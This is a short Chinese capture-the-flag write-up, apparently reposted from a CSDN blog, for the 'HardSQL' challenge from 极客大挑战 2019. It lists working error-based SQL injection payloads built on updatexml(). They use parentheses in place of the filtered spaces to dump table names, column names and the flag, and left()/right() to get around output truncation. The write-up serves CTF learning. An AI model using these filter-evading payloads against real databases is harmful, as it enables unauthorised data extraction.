数据库
首页 > 数据库> > [极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

作者:互联网

经过一番测试,发现union 、空格 、if这两个关键词被过滤,
select与盲注的想法暂且收起来。测试一下updatexml 、() 、'都是可以使用的,那就是报错注入

空格用()代替

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#	

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(password,30))from(H4rDsq1)),0x7e),1))#
进行到此本应该拿到flag,但却发现只显示了一部分: '~flag{97615c0a-c9b5-4239-9246-36'
很明显有一个字符截取的函数限制了输出长度,substr() ?
截取函数:left(arg,length) right(arg,length)
两个MySQL函数分别从左、右边返回length长度的字符串

1'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

标签:H4rDsq1,极客,HardSQL,0x7e,2019,select,updatexml,table,concat
来源: https://blog.csdn.net/weixin_45669205/article/details/114683333